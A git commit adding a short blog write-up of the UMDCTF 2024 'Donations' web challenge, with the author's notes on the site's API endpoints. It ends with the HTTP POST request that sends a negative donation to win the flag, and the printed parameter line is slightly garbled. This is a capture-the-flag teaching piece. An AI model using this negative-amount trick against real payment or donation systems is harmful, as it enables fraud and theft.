From 7c32657002fca2c7e2195d789b1b11e3071d79a2 Mon Sep 17 00:00:00 2001 From: Gabriel Schneider Date: Thu, 26 Mar 2026 16:23:24 -0300 Subject: Squashed older blog files --- trees/blog/archive/umdctf-2024-donations.md | 38 +++++++++++++++++++++++++++++ 1 file changed, 38 insertions(+) create mode 100644 trees/blog/archive/umdctf-2024-donations.md (limited to 'trees/blog/archive/umdctf-2024-donations.md') diff --git a/trees/blog/archive/umdctf-2024-donations.md b/trees/blog/archive/umdctf-2024-donations.md new file mode 100644 index 0000000..2f7a445 --- /dev/null +++ b/trees/blog/archive/umdctf-2024-donations.md @@ -0,0 +1,38 @@ +--- +title: "umdctf2024 - Donations" +date: 2024-04-28T18:57:47-03:00 +draft: false +description: "" +tags: ["web", "ctf"] +--- + + +After downloading and prettifying the javascript code we see that there's a `/api/flag` and a `/api/donate` endpoints. + +The flag route returns: + +```json +{"detail":"only the wealthy may view the treasure..."} +``` + +After trying some things that didn't work, I went to the donate functionality. +Using the parameters that I found in the javascript I is playing with this funcionality and noticed that you can only donate to a specific user + +```json +{"detail":"you may only donate to Jeff Bezos"} +``` + +And somehow that Jeff Bezos's id is `lisanalgaib` + +The solution was to donate a negative amount and earn that in return. + +```http +POST /api/donate HTTP/2 +Host: donations-api.challs.umdctf.io +Content-Length: 30 +Cookie: session=... +Content-Type: application/x-www-form-urlencoded + +to=lisanalgaib¤cy=-99999 +``` + -- cgit v1.3